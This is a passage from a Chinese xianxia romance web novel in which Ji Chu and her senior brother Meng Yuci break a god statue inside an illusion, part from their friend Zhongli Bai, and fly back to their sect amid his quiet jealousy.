一开始只是汩汩一点,而后水流越来越大,将她的脚完全淹没,眼看着又要往小腿上涌来,整个地面都被水流覆盖了。 …… 好难受…… 踩在水里,纪楚感觉到一股莫名的悲伤,如同深陷泥潭,怎么走都绕不出去。 …… 困住她和师兄的,真的是奉神殿,是那个所谓的神吗? 纪楚盯着水面看了一会儿,抬了抬腿,想离开这里。 刚一抬头,就看见了师兄。 他站在不远处,像是找了她很久,提着剑,没有用灵力隔水,整张脸被雨水冲得惨白,头发也一缕一缕落在肩上,只一双眼睛黑水银一般,目不转睛地盯着她。 纪楚从没见过师兄这么狼狈的样子。 她神情一松,正准备踩着水走过去,告诉师兄刚刚神像的变数,想着能不能再怂恿师兄一起砍砍神像试试。 师兄忽然迈步朝她走来,猝不及防间,一把抱住了她。 纪楚一惊,隔水的术法一下子没捏住,倾盆大雨哗啦啦浇了她一身。 她瞬间变得和师兄一样狼狈了。 “师兄?” 纪楚的声音闷闷的,从师兄的胸膛前传出来。 师兄抱她太紧,两只胳膊死死箍在她后背和肩膀上,高大的身躯将她完全罩住。 她整个人都被压在师兄胸前,隔着他衣服上的水汽,纪楚感觉到师兄浑身肌肉紧绷,似乎很紧张。 师兄身上总是凉凉的,可被这雨水一衬,纪楚竟然发现自己靠着的胸膛十分滚烫。 淡淡的清香被雨水晕开,成了一种落在实处的味道,顺着师兄的头发滑到她脖子里。 她被这滴水敲得一抖,想说的话卡在喉咙里,转而问道: “师兄,你怎么了?” 孟喻辞:“我以为你走了。” 纪楚:“哪能呢?师兄你还不知道吧。” 她趁机告状,一边挪动自己的胳膊,想从师兄的怀抱里挣脱出来: “刚刚那个神像动了,它还威胁我,说我出不去。我们现在就去砍它吧!” “别动。” 师兄开口,微微垂下头,将下巴放在她头顶,抱着她的手反而又紧了紧,将她完全压实在自己身上。 “求你别动。” 他的声音也显得这么无助。 纪楚:“……” 她心里生出一点微妙的感情,明知现在不该是发呆的时候,但还是停了下来,任由师兄抱着她,安静地站在雨中。 地上的水已经越过她的小腿,漫上了膝盖。 纪楚隐约有些猜测,这里的师兄并不是真正的师兄本人,更像是一片记忆,一段幻象。 所以“师兄”才会一直忙忙碌碌,重复着见证死亡、动手杀人的过程。 而她的出现,陪伴有余,用处不足,甚少能干预这里的情况。说的话做的 事,都不影响事态发展。 唯一能影响的,就是师兄了…… 纪楚能感觉到,幻象里的师兄并不讨厌她,甚至可能已经猜出了她出现的原因。 纪楚并不觉得只是因为一朵“空羽浮花”,就可以让师兄完全接纳她。 更多的可能,或许还是因为寻真剑。 又或者,是一个可以拿起寻真剑这把弑神之剑的人…… …… 只是她没想到,师兄竟然会如此在意她。 “巫觋族,全死了,对吗?” 纪楚正胡思乱想的时候,头顶忽然传来师兄的声音。 她回过神来,思索片刻,还是说了句: “嗯。” 一阵沉默。 “其实堕魔很容易。” 师兄又道: “一个念头,一次犹豫。只要答应神族,放弃自我,成为躯壳,就可以不再痛苦。” “不是这样的。” 纪楚打断他的话。 这是她从未见过的师兄,也会脆弱,也会迷茫。 她忍不住抬手,抱住师兄的腰。 师兄看着清瘦俊朗,抱起来却很大一只,她没有敢抱太紧,只是虚虚贴着师兄的身体,感受到小臂和手掌下贴着的肌肉隐隐跳动。 这轻微的动作却足以让孟喻辞浑身一颤。 他五指收拢,扣在纪楚肩膀上。 顺着这个角度往下看,他能看到纪楚被雨水打湿的头发下面,露出一朵极为漂亮的花。 随着她的呼吸,后颈处的骨头轻微起伏移动,那朵花便像是活过来了一样,迎风绽放,绚烂地快要晃花他的眼。 “那个他”,是抱着什么样的念头,把空羽浮花种在这个位置的呢? 他阴暗地揣测,这地方很好,既不显眼,却又能轻易被人看见,像是一个半遮半掩的秘密,唯独纪楚本人永远不知道。 就好像“那个他”的心思一样,藏得小心翼翼,瞒得战战兢兢,既不敢为人所知,又怕真的无人可知。 他垂眸,抱着纪楚,缓缓闭上眼睛。 “师兄。” 纪楚忽然动了一下。 她从他的手臂中抬起头,一双眼睛被雨水衬得透亮,像是不小心落在他臂弯中的星星。 “师兄,你是不是在害怕?” 孟喻辞心口一跳。 一股极小,却也无法忽视的感觉从心底里冒出来,以一种飞快的速度顺着血管蔓延到他周身。 他感觉自己的每一次呼吸都带着沉重的血腥气,他感觉自己在这双无比干净纯粹的眼睛里无所遁形,宛如赤|身|裸|体。 “我……” 他想否认。 纪楚却仍用那双又圆又明亮的眼睛望着他,让他无法顺利说下去。 “师兄,清浊同源,仙魔一体,未必就是你也会入魔的意思。” “一开始我也觉得害怕,害怕自己可能会变成面目全非的样子。但后来,我又仔细想了想,觉得不对。” 雨势越大,把她的声音冲刷的模糊不清。 可孟喻辞清晰地听到了她说的每个字。 “我是什么,自然由我来定。正如人生在世,若溯其本源,不过皮肉骨血,望其终末,尽数湮灭消散。” “但人世百年,所见所闻塑成品性,如何思考,如何行事,皆由自己选择,分明同源同终,却又人人不同。” “师兄,仙也好,魔也罢,说到底,只是个名头而已,如何能困住人心呢。” “……” 孟喻辞的呼吸停顿了一瞬。 他抱着她的手松了力气,轻易被纪楚挣脱开来。 手上一空,那灵巧的、生机勃勃的花从他眼前一晃便消失不见。 下一刻,却见纪楚反手握住了他的手。 凉意很快消退,热乎乎的触感无比真实。 地上的水已经高到纪楚的大腿,水下似有无数声音,扯着他们的恐惧,拽着他们的犹豫,让他们难以前行。 若是继续任由着水流蔓延上来,他们很有可能会和过去的奉神殿一起、和这段记忆一起,长埋水下。 但纪楚却笑了起来,她眼里一点害怕都没有,反而握着寻真剑,像他当初问她“要不要找把剑”一样,问他: “所以师兄,要不要和我一起……弑神?”—— 作者有话说:纪楚:师兄,你不用再独自要强了,因为你的强来了。(比划腱子肉) 师兄:[害羞][害羞][害羞] 第69章 “好。” 纪楚听见师兄说了这个字。 淅淅沥沥的雨不停落下,顺着师兄的轮廓分明的脸颊滑下,坠落两人中间。 地上的水也不断向上蔓延,纪楚感觉自己简直和师兄泡在河里。 水下面就是无穷无尽的犹豫、恐惧、痛苦,轻易就能将人扯着坠下去。 放任不管总是最轻松的…… 但她仍想拉紧师兄,一起挣扎着站起来。 那一篇文绉绉的话她在心里想了好久,怎么说都仿佛显得不够完美。 她怕自己无法表达所有的意思,让师兄察觉到她的幼稚和天真。 她更怕连自己都无法说服,非但救不了师兄,还会让自己也沉到水里去。 纪楚攥着师兄的手,无比紧张地望着他。 水已经淹到了她的大腿。 然后她听到了师兄的回答。 像是怕她没有听清,师兄反握住她的手,将她的手掌连同五指一起包裹起来,像是攥住了什么救命稻草。 纪楚为自己这个想法恍惚了一瞬,听见师兄用清冷的嗓音又重复了一遍,语气格外温柔: “纪楚,我们一起。” 她的眼睛蓦地亮了起来。 水滴落到眼眶上,她条件反射闭了下眼,很快又睁开,绽发出比方才还要明亮百倍的光。 孟喻辞被她的眼睛一晃,动作便有些怔愣。 而纪楚像是一刻也舍不得耽误似的,拉着他的手直奔奉神殿的方向。 水声哗啦。 他觉得自己的心也跟着一起稀里哗啦地跳了起来。 他落后半步,看着纪楚走在他前面的背影,横冲直撞,蛮横坚定,像是永远不会畏惧。 目光落到两人交叠的双手上,他忍不住更加用力地握住她,无比贪恋这一刻的温暖。 那些水流困不住他,因为纪楚在前面。 孟喻辞终于坚定地迈步,和她一起走进了奉神殿。 神像高耸,金眸无情。 纪楚拔剑,指向面前这个所谓的、“不可被杀”的神。 孟喻辞抬眸,与神的双眼对视。 也是在与那个杀尽同族、恐惧未来的自我对视。 雷声轰鸣,似在耳畔。 纪楚手心全是冷汗。 她先前无比笃定,一门心思押宝在这座神像上。 但现在,终于说动了师兄和她一起动手后,她却又不那么确定了。 万一猜错了呢? 师兄如此信任她,她万一做不到呢? 弑神。 说的时候轻飘飘两个字,可一旦站在神像面前,被这双高高在上的神目注视着,她倾刻间便意识到了自己的渺小。 她只是个再普通不过的修士,前世什么都没做就死了,这辈子拿着一柄剑,真的就可以挑战神了吗? 纪楚心乱如麻,感觉自己的灵力快要不受控制,因她的犹豫、踟蹰、不安而疯狂流转。 会不会有更好的办法,而她没有想到? 会不会这个幻境其实并不是这样处理,而她的一个冲动的提议,反而会害的师兄更加痛苦? 纪楚握着剑,迟迟无法动手。 落在身侧的手上忽然覆盖上温热的触感,是师兄握住了她的手。 “纪楚,我相信你。” 声音如冷泉撞玉,轻易将她内心所有的混乱思绪平息。 纪楚忍不住转过头,看了一眼站在她身边的师兄。 孟喻辞五官俊逸,神色清冷,看向她的目光却格外温柔。 师兄相信她。 纪楚忍不住在心里想。 是啊, 师兄都选择相信她了,她还有什么可犹豫的? 她只需要更加坚定地、做自己认为正确的事情就好了! 她也相信自己! 寻真剑上流光浮动,围绕在奉神殿内外的魔气感受到这股剑气,纷纷朝纪楚扑来,却又被少微剑阻隔在外。 纪楚抬剑,猛地朝神像劈下。 这一下,仿佛撞上了格外坚硬的石头,剑刃擦过神像斜划而下,如金石相击,铿锵有力。 纪楚隐约听到“咔嚓”一声,仿佛有什么坚硬的东西被她砍出了个口子。 与此同时,一股极强的魔气将她整个人撞飞出去。 好在师兄在身后及时扶住她。 “小心。” 师兄助她稳住身形的同时,灵力及时送进她体内,缓解了她被魔气攻击后混乱不安的经脉。 “我没事。” 纪楚喘了口气,压着师兄的手臂站起来。 分明伤的不轻,但她看向神像的眼神却越发笃定,甚至隐隐兴奋。 之前几次试图砍坏神像,皆是无功而返。毫无作用不说,就连剑刃所触都软而无力,简直像是砍在空气上,何曾有过这样大的反应? 可见她还是赌对了。 这个所谓的高高在上的神,开始害怕了。 纪楚笑了起来,一双眼睛亮晶晶的,像藏了两颗墨色宝石,扭头对孟喻辞说: “师兄,它怕你。” 言外之意: 师兄,你不要再害怕了。 孟喻辞眼睫一颤。 他垂眸看向纪楚,面对着她这双笑意盈盈、充满期待的眼睛,忍不住心口一软,轻声道: “嗯。” “纪楚,谢谢你。” 他一眨不眨地看着纪楚,黑眸中满满当当、只映出她一个人的身影。 少微剑受他心意所控,自一旁地面浮起,剑尖直指神像。 “我帮你。” 少微剑指所向,霜寒凝聚,飘进奉神殿的雨滴瞬间冻结成冰。 空气也仿佛被这股极寒的灵力凝滞一般,冰晶悬停在半空,难以下落。 孟喻辞杀意显露的同时,一直装模作样的神像按捺不住,当着两人的面发生了变化。 奇异的形状扭曲变性,逐渐拉长成人的形状——如同纪楚在真正的奉神殿中见到的那样。 那双一直在他们面前维持着无波无动的金色眼睛头一次露出愤怒的神色。 “孟喻辞,你屠杀同族,罪孽深重,竟敢弑神?!” 孟喻辞神色不变,仿佛不曾听见一般。 少微剑意不停,剑气划破魔气,径直插进神像中央。 “噗嗤”一声。 仿佛戳破了一个外强中干的球,坚不可摧的神像开始出现裂痕,自中心一点点缓缓朝外蔓延,直到整个身子都破裂成蛛网。 纪楚握紧寻真剑,找准时机,乘势而上。 她闭上眼睛,在脑海里回忆着师兄教给她的剑法。 刨除掉那些复杂的、高阶的,只去找她心里最简答最直白的那一剑。 举剑,横扫。 一剑将神像自底部砍断。 “咔嚓咔嚓”的皲裂声一声盖过一声。 高耸的神像如山石崩塌,一块块向外炸开 飞溅的石块尖锐似利刃,噼里啪啦朝她砸来。 神像上的金色眼睛再难维持冷静,幻化成两道金色雾气,骤然朝着纪楚扑来。 纪楚眼睛里倒映出金色雾气朝她扑来的景象,墨色的瞳孔被染成一片金,下意识举剑去挡—— 忽然自身后斜刺而来一道剑气,比她更快更凶更果决。 剑刃破开幻境,撕开虚空,将纪楚周围的奉神殿的景象撕成半旧半新的模样。 仿佛冰雪掠过耳畔,带动她一缕头发向前飘去。 纪楚茫然抬头,只听得一道铮然之声,长剑没入神像双眼之剑,力道之大,半截剑身从神像脑后而出,带出一片赤金的血珠,顺着剑尖朝下低落。 “啪嗒”一声,砸在奉神殿地板上,很快和原本的水流汇聚难分。 金色雾气被长剑一劈两半,又被寒气冻结,一寸寸湮灭成灰,散落地面,像是砸下一阵淅淅沥沥的金色雨滴。 水流从两侧蔓延过来,冲走这些残渣的同时,也将纪楚的裙摆打湿。 手心一口,纪楚下意识扭头,看向原本在她身边的师兄——或者说,是师兄的幻象。 “师兄”神色平静,仿佛看不到她一般,眼睛里一丝光亮也无,仿佛沉寂的黑夜。 她僵硬地转回头,看向神像。 钟离白满脸震惊,脱口而出的“纪楚”两个字变了形,捂着嘴看向突然出现在纪楚身后的那个人。 白衣染血,乌发飘飞,一张美到惊心动魄的脸上一丝表情也无。 肤色冷白似玉,气质疏冷淡漠,恍若忽然冒出出的幻影,微微飘动的衣摆轻盈似鬼,上面落了点点红痕,还有被雷劈过的焦黑痕迹。 周身剑意未消,整个人如一柄杀气凌凌的剑,却强行压下浑身戾气,静默地立在纪楚身后。 神像上的少微剑仍在轻微颤抖,剑刃发出细微的嗡鸣声,杀意不散。 一双黑沉双眸牢牢锁在纪楚身上,隐隐透着偏执和疯狂。 纪楚望着神像上正在不断向下滴血的少微剑。 金色的眼睛,从身后冒出来的长剑…… 她强行逼迫自己移开眼睛,一边努力控制着自己的手不要颤抖,但无法控制的恐惧仍从心底冒出来。 她其实早就没那么害怕师兄会杀她,却无法完全忘记上辈子身后一剑带来的恐惧的疼痛。 尤其是当金色眼睛出现的时候。 …… 纪楚下意识后退了一步。 ——然后她撞进了一个冰冷的、足以将她完全包裹住的怀抱。 身后倚靠着的胸膛下,坚实有力的心跳声平缓而均匀,纪楚的呼吸也忍不住跟着一点点放松下来。 明知师兄在身后,她却又控制不住看向刚刚的“师兄”在的地方。 果然不见了…… 她心里一空,忽然觉得有些难过。 太突然了。 她先前只想着怎么才能离开幻境,可如今出来了,又觉得自己还有好多话没有来得及告诉“三百年前的师兄”。 眼前忽然一暗。 一只手挡住她的眼睛,修长的指节轻轻盖在她眼睫上,眨眼时会带出一点细微的痒。 清冷的香顺着师兄的衣服传来,像风一样轻盈冰凉。 “不要看他。” 身后传来师兄的声音,带着点沙哑,带着点终于松了一口气的叹息,还带着点浅浅的无奈和强势,似要求,更似祈求。 “纪楚,我在这里,不要看着别人。” 他顿了顿,又道: “另一个我也不行。”—— 作者有话说:师兄:不许看别人,另一个我也不行。 纪楚:emmm如果你知道上辈子我和另一个师兄这样那样…… 第70章 “另一个我也不行。” 孟喻辞抱着纪楚,感受着怀里的人的存在,心里生出一股难以言喻的欣喜。 但片刻后,他又忍不住垂眸轻叹。 他意识到自己的情感在不受控制地滋长,原本只是细微的一点,后来彻底成为不可阻挡的洪流。 而他不再抵抗,任由其放大,蔓延,直到再无法佯装无事。 无着尊者说的不错,他将自己的恐惧、怯懦藏在奉神殿里,任何一个陷入幻境的人,都会被他一起拉入其中。 幻境里的“孟喻辞”是他的恐惧的化身。 三百年前,巫觋族人最终还是难逃灭亡的命运,他作为一个“幸存者”,一个“执行人”,注定没有人会理解他。 也许有一天,他也会不敌末神,成为最后一个不得不死的巫觋族人。 但他遇到了纪楚。 没有人知道他有多在乎纪楚,不止是为了末神,更是因为他自己的私心。 ——他想让纪楚留在他身边。 雷劫之中,纪楚在幻境中的身影蓦地出现在他眼前。 “师兄,仙也好,魔也罢,说到底 ,只是个名头而已,如何能困住人心呢。” …… 是啊,一个名头而已,如何能困住人心呢? 刹那间,宛如拨云见日,雷劫忽散,乌云顿消。 心口一轻,困扰他三百年的恐惧骤然消散。 他从未感觉如此轻快。 他从未感觉如此迫不及待,迫不及待想要见到纪楚,想要看到她真真正正站在他面前,而不是通过幻境逸散出来的些许片段。 孟喻辞心想。 他想见她,他需要她,他不能忍受没有她。 从听到神骨恶念要对纪楚动手的那一刻起,他就无比清楚: 自己绝对不能忍受纪楚遇到一点危险,亦或是被人夺走。 任何人都不能把纪楚从他身边抢走。 幻境中的虚影不可以,末神和无着尊者更不可以。 …… 这股念头在他心里迅速生根发芽而后膨胀,直到占据了他所有的思绪。 唯有感受到怀里的纪楚,他才能压下心里那股戾气,看着奉神殿的双眸越发暗沉。 少微剑倏得拔出,无形剑气涌动,瞬间将整座奉神殿完全裹挟。 神像被剑气砍的四五分裂的同时,藏于神像中的“神骨”也一齐被毁,伫立此间数百年的奉神殿轰然倒塌。 巫觋族,从此不再奉神。 做这一切时,他始终没有松开纪楚,依然保持着抱着她的姿势,也将她完完整整护在自己身边,没有被剑风和碎屑扫到分毫。 钟离白就没有这么幸运了。 孟喻辞看着平静淡漠,动手时却毫无征兆,甚至显得暴力非常,拆屋子跟撕纸一样轻飘飘。 剑气几乎瞬间刮过他的脸,钟离白连反应的机会都没有,靠近神像的一侧衣服已经破了无数个细小的口子。 他被孟喻辞蛮横冷酷的剑气吓得后跳一步,急匆匆跟着他跑了出去,还是没防住,落了满头满脸的灰。 幸而纪楚这师兄不是什么残忍嗜杀之人,还知道留他一命,只将奉神殿里的东西毁了个干干净净。 钟离白一边在心里腹诽着,一边又瞧见神骨被毁这一幕,还是忍不住激动起来,什么不满意的念头都没了,只觉得纪楚师兄委实是个深明大义的大好人: “太好了!如今这样,末神就无法再把神骨当做害人的工具了!” 说完,他又下意识扭头看向纪楚: “纪楚!你快说是不是?!” 纪楚从刚才开始就一直没有说话,也没有动,任由师兄挡着自己的眼睛,又抱着她腰将她带离了奉神殿。 透过师兄指缝,她隐约看到奉神殿倒塌的场景,却因着师兄将她护的极为严实,连一根头发丝都没有沾上灰。 她不知道在想什么,眼睫一遍遍扫过他手心,乖巧安静的不像话。 直到钟离白出声叫她。 像是推开了凝滞的大门,空气一下子流通起来,纪楚终于有了点反应。 她终于下定决心。先是抬手,将师兄盖着她眼睛的手拿下来。 然后她转过身,顺势从他怀里退出去,站在一步开外的距离冲他说: “谢谢师兄救我,幸亏师兄来的及时,不然我可能真的要出大问题了!” 怀里一空,孟喻辞缓缓放下手,听见她说: “这是我的朋友,钟离白。” 说完不等他回答,她已经干脆利落转身,跳到钟离白跟前,同他一并雀跃起来: “真是太好了!我们真的成功把神骨解决了!” 钟离白同样欢呼: “太好了太好了!” 说着他“欸”了一声,想到自己竟然光顾着激动,差点忘了拜谢前辈。 这真是太没礼貌了! 于是他赶紧转身,对孟喻辞道: “在下钟离白,多谢孟师兄救命之恩。” 孟喻辞垂眸,没什么情绪地“嗯”了一声,像是并不在意他是谁,目光只瞧着纪楚: “受伤了吗?” “当然没有。” 纪楚神色如常,像是完全不在意幻境里发生了什么似的: “只是幻境而已,伤不到我的。” 钟离白一听又紧张起来: “什么叫只是幻境啊!你都不知道刚刚有多可怕!神像的眼睛跟活了一样疯狂转动,地下还有水冒出来……” “还有你,就那么一晃人就不见了!我急得快要疯了!” 纪楚努力伪装的若无其事被身边这个咋咋呼呼的声音衬的有些不自然。 她看了一眼师兄,急忙道: “师兄你别听他胡说,我在里面真的什么事都没有!” 说着她瞥了钟离白一眼,嫌弃道: “而且你有什么好怕的……光害怕有用吗?回回都指望不上你……” 看似嫌弃,实则语气很是亲昵,打情骂俏似的。 孟喻辞看着她的侧脸,心里想的却是: 她从未用过这样的语气同他说话。 他自然知道纪楚没有受伤。 方才见到她的第一时间,他已经用灵力探了她的情况。 之所以开口询问,只是疑惑于她的反应。 按纪楚往日的性子,既然在幻境里见到了他,也知道了当年巫觋族的事情,出来后第一时间,一定是要拉着他说个不停,问个清楚的。 但现在,她非但对幻境闭口不提,甚至不肯同他多说几句话,转头就去对着别人又蹦又跳。 他心里难免诧异,忍不住开口询问,想要吸引她的注意。 但纪楚依然不肯多言,宁可三言两语掩饰过去,并且很快又被旁人吸引了注意。 钟离白因为纪楚的抱怨生出几分不好意思来,顿时将幻境抛到了一边,替自己解释道: “这次是我大意了,但我也不是全无作用嘛……” 上辈子不是成功用了“阴阳转”嘛! 碍于孟喻辞在场,他不能把重生的事情说的太直白,只能同纪楚挤眉弄眼。 然而说起阴阳转,纪楚又忍不住想到被她一起带着重生的“空羽浮花”,还有在幻境里一眼看出、直言她是“他的道侣”的“师兄”,心情越发糟糕起来。 幻境里的“师兄”能看出来,现在站在她面前的这个师兄难道会看不出来吗? 重生,重新开始,和谐友好的师兄妹…… 呵,真是好笑。 一开始就是奢望,一开始就是错的…… 她简直是整个拂宇仙宗的笑话! 纪楚“哼”了一声,自嘲一笑,闭了嘴。 钟离白还以为她生气了,急忙表忠心: “说真的,刚才真是太险了,要是你真的出了什么事,我肯定会跟着你一起死的!” 他本意是想说:若纪楚这个修真界的救世主就这么死了,自己肯定也要跟着完蛋。 但听在孟喻辞耳朵里,就完全不是这么一回事了。 什么叫“跟着一起死”?像是在说什么同生共死的誓言似的。 谁会对一个“朋友”,说出这么腻味的话呢? 他终于舍得将目光从纪楚脸上移开,打量着这个不知道从哪冒出来的家伙。 脸长的差强人意,可惜太瘦了,身材像个竹竿,灵力平平无奇,不如纪楚半分。 因着刚刚被他的剑气刮过,钟离白半截衣袖散开,露出瘦但白皙的肩膀,竟还不知遮掩,恬不知耻地往纪楚身边凑,一看就没安什么好心。 加之油嘴滑舌,只会言语讨人欢心,简直一无是处! 他冷冷打量着钟离白,后者莫名感觉后背一凉,打了个哆嗦。 纪 楚察觉到,于是说了句: “你赶紧换件衣服吧,看着好傻。” 钟离白不好意思地笑了一下,伸手将自己胳膊上的布料捞了捞: “用不着用不着,这补补还能穿……” 纪楚诧异: “你们卦修竟然穷成这样了吗?” 钟离白强调: “节俭,是节俭。” …… 孟喻辞的目光在两人身上来回巡视,纪楚多一点,钟离白少一点。 他看着钟离白站在纪楚身边,同她一起感谢自己的救命之恩,又说着这些似是而非的话,聊着些有的没的的话题。 纪楚言语态度直白自然,像是面对一个相识多年、完全不用在他面前掩饰自己的好友,完全没有疏离和距离感,连嫌弃的语气都像是亲昵; 而钟离白则毫无避嫌的意思,默认了同纪楚的熟悉和亲近。 眉来眼去,时不时还会再说到一半的时候忽然停下,悄悄看他一眼,然后两人默契地改换话题,仿佛拥有很多他这个“外人”不能知道的秘密。 这一幕看在孟喻辞眼中格外刺眼。 他忍不住出声打断: “纪楚,我们该回去了。” 闻言,纪楚一愣,钟离白则意犹未尽的闭了嘴。 他看了看纪楚,又看了看孟喻辞: “这就要走了吗?那好吧……” 确实,神骨已毁,无着尊者也死了,修真界的危机似乎暂时已经解除了。 至于末神,他们一时半会儿也不可能找到它的踪迹。 似乎真的没什么事情可以做了。 钟离白有些伤感。 自从前世他变成鬼、被纪楚带在身上后,他就习惯了和纪楚一起行动。 同样怀揣着重生的秘密,纪楚就像是他最亲近的家人,他没想到这么快就得和“家人”分开了。 早知道,自己当初就别跟着“不羁道人”学什么算卦了,就该努努力,考进拂宇仙宗去。 现下应该是新衣服也有了,传音玉也会玩了,出门在外腰杆也笔直了,还能继续跟着纪楚一起勇闯修真界…… 唉…… 钟离白长叹一声,心里无比惋惜。 纪楚看他这样,忍不住提议: “要不……” 钟离白眼睛一亮。 孟喻辞抢先一步说: “宗门之间确实常有弟子交流拜访,你是纪楚的朋友,拂宇仙宗自当以贵客相待。” 钟离白想到了自己那个亦正亦邪且名声不太好的师父,眼里的光一下子灭了: “不了,我现下忙着补衣服,就先不去拂宇仙宗了……” 纪楚:“……” 她想了想,又道: “那你打算去哪儿?同路的话,我正好还能御剑送送你。” 钟离白的眼睛又亮了起来。 然而他还没来得及张嘴,孟喻辞又道: “你是纪楚的朋友,又与她一同涉险,我身为纪楚师兄,自当相护。” 钟离白看了一眼还在滴血的少微剑,卦师的直觉让他觉得自己不能答应,于是婉拒道: “要不还是算了吧……我有点晕剑……” 饶是纪楚再迟钝,此刻也察觉到了不对劲,忍不住看了一眼孟喻辞。 孟喻辞面色坦然,抬手变出一艘云舟。 虽然不比纪楚之前坐的宽敞,却也足够闪瞎钟离白的眼睛。 “赠与钟离道友。” 钟离白下巴坠地,被他的一出手就是一艘云舟的阔绰手笔惊呆了。 他不敢相信这是真的,颤颤巍巍接过云舟,左右端详一阵,忍不住问了句: “孟师兄,您还需要师弟吗?我忽然有点想弃卦从剑了……” 对此,孟喻辞的回答是扔下一句“告辞”,带着纪楚直接御剑离开。 钟离白在身后招手: “纪楚!记得常联系——!!!”—— 作者有话说:钟离白:[爆哭] 师兄:[白眼] 纪楚:[小丑][化了] 70-80 第71章 纪楚站在少微剑上,没有说话。 虽然并不想和师兄离得这么近,但是以她对自己的御剑水平的了解,若是自己御剑,师兄在旁边跟着,回宗门的这条路只会变得更加漫长。 至于云舟这样的法器…… 飞起来就更慢了。 纪楚不想单独和师兄待太久。 况且已经耽误了许多时日,许盈他们想必都已经回到了宗门,若见不到她,定会担心。 孟喻辞不知道发生了什么,但刚一离开云川,纪楚整个人就彻底沉默下去,像是心绪不佳。 他担心,牵挂,忍不住想开口询问,但又迟疑犹豫,最终也只是将心里满当当的情感沉寂下去,安静地看着她的背影。 少微剑飞得又稳又快,转眼便将云川抛到了身后。中途不停,直奔拂宇仙宗方向。 云川地处偏远,来时经过传送法阵,并未察觉距离之长。 如今御剑而行,才知这一路实在漫长无聊。 好在师兄十分妥帖,一路上以灵力护在她周围,不受丝毫风吹,还能赏景拂云。 纪楚这些日子,先陷血池,后入幻境,神经始终紧绷着。 如今难得有了放松的机会,竟然叫她品出了几分浮生半日闲的惬意。 一路上,纪楚刻意不回头也不说话,师兄也没有主动开口。 就在纪楚以为两人会这样一直安静地飞到拂宇仙宗时,沉默了一路的师兄忽然问了句: “你们是何时认识的?” 发呆了太久,乍然听见这句没头没尾的话,纪楚一怔,有些没反应过来: “什么?” 孟喻辞便又问了一遍: “钟离白,我看你同他很是熟稔,你们是何时认识的?” “他呀……” 纪楚没想到是这个问题,松了口气,百无聊赖地拨拉了一把飞过的云,说道: “没多久,他是个自来熟,跟谁都聊的来。” 回答的有些敷衍。 但语气听起来依然很是亲昵。 孟喻辞垂眸看她一眼,只看见她圆溜溜的后脑勺。 他“嗯”了一声,不知信了没信,总之没再继续追问。 宗门已在眼前。 孟喻辞落好剑,正待像往常一样扶纪楚下来时,她已率先一步跳了下去,避开了他的手。 一见到拂宇仙宗的大门,纪楚就忍不住开始担心起许盈和任务: “也不知道许盈他们有没有顺利把聚魂灯送到薛家……算算日子,应该回来了吧?好奇怪,今天门口怎么一个人都没有啊?” 孟喻辞看了一眼落空的手心,沉默几息,缓缓收回手,安抚道: “进去就知道了。” 纪楚还是有点担心。 她当时摔下去的太过突然,许多事情还没来得及和许盈他们交流。 万一孔回端又动手了呢?万一还是出了什么岔子,害的许盈他们被罚了呢? 她一刻也等不及,转身迈步就要上山。 “纪楚。” 师兄忽然叫她名字。 纪楚疑惑回头。 面前伸出一只骨节分明的手,修长的指节向上摊开,手心上托着一块玲珑青玉。 “我的传音玉?” 纪楚见状先是一愣,而后忍不住睁大眼睛,语气惊喜: “不是丢在枉死城了吗?师兄你怎么找到的?!” 她伸手想去拿传音玉,师兄却忽然将手一抬,避开了她的动作。 纪楚摸了个空,一愣,抬头看他。 孟喻辞却问了句: “你没有什么要说的吗?” 纪楚:“……” 她眨了眨眼睛,神色有些茫然。 师兄垂眸瞧着她,并不提醒。 纪楚于是回忆起来,在枉死城的时候,师兄说过让她等他,自己却和钟离白跑去了云川。 师兄找不到她的时候,一定很着急吧…… 她顿时有些内疚,悄悄收回手: “对不起师兄,让你白跑了一趟。我本来想告诉你的,但是传音玉被水冲走了……师兄,你不是在闭关吗?是怎么找到我的?” 孟喻辞注视着她的眼睛,淡淡靠 道: “看到了传送法阵。” 纪楚:“这样啊……” 她一边点头,一边移开视线,避开和师兄的对视。 不知怎的,她总觉得师兄的眼神和平时有些不同。只是对视片刻,她就有种浑身上下都不自在的感觉。 纪楚不自觉捏住自己的袖口。 低头,看到师兄衣摆上的焦黑痕迹。 她忽然发现师兄的衣服也不如往日规整,似乎刚刚经历一场恶战。 联想到进入幻境前后听到的天雷声,莫非是真的有人历劫? 纪楚纳闷,忍不住问: “师兄?你的衣服是……” 孟喻辞垂眸看了自己的衣摆一眼,心道她只顾着看钟离白的衣服,哪里还记得他? 一路上头也不肯回,像个桩子一样立在他前头,只给他一个后脑勺看。 若非是没能顺利拿到传音玉,自己这没良心的师妹,又要什么时候才舍得看他一眼? 这般想着,他随手一掸腿面衣裳,若无其事道: “强行出关,惹来一道天雷而已,并无大碍。” “天雷?强行出关?” 纪楚这下子憋不住了。 她本以为师兄是正常出关,发现自己出事了才来救她,没想到竟是强行出关,还惹来了天雷! 那天雷是毫无缘由随便劈人的吗?怎么可能没有事!这衣裳都被劈焦了! 纪楚急忙问道: “师兄到底为何闭关?强行出关不会留下什么问题吗?还有这天雷,真的没事了吗?师兄你没有受伤吧?” 师兄越是若无其事,她便越发觉得事有不好。 言语间顿时少了很多故作的疏离,看着那道天雷劈出的痕迹,真心实意地懊恼起来: “都是我不好,原本也没什么事,却害的师兄强行出关……” 孟喻辞看着她这副模样,感觉心里梗着的那口气终于顺了下去。 他哪里舍得让她伤心内疚,轻声道: “不是你的问题,不要瞎想。” 纪楚咬着唇,没说话,一看便是不信。 孟喻辞看她几眼,叹了口气,将传音玉递到她面前: “喏,已经用灵力帮你修好了。” 纪楚这才动了动,目光移向他手中的传音玉。 孟喻辞轻轻抬了抬手腕,示意她接着。 纪楚看他一眼,又低头看向他手里的传音玉。 正上方摔出的裂痕已经消失不见,边缘处也有灵力修补过的痕迹。 对拂宇仙宗而言,传音玉虽然算不得什么珍贵的东西,但随身物品失而复得,总是让人忍不住觉得开心。 她伸手,从师兄手上接过传音玉。 柔软细嫩的指尖无意识在孟喻辞掌心轻轻划过,像飘过了一片羽毛,手心一痒,连心口也跟着痒起来。 孟喻辞的五指不自觉蜷缩了一下,做出了个抓握的动作,却又极快地克制住,动作细微到不可察。 接过传音玉的时候,纪楚无意间瞥见,师兄修长如玉的指尖竟然有一道极其细小的伤痕,已经愈合了,却还是留下一点凹凸不平的伤疤。 什么东西,竟能伤到师兄? 这念头在她心里一闪而过,很快便随着师兄收回手而消失。 纪楚没再多想,低头摸了摸传音玉,忍不住高兴起来。 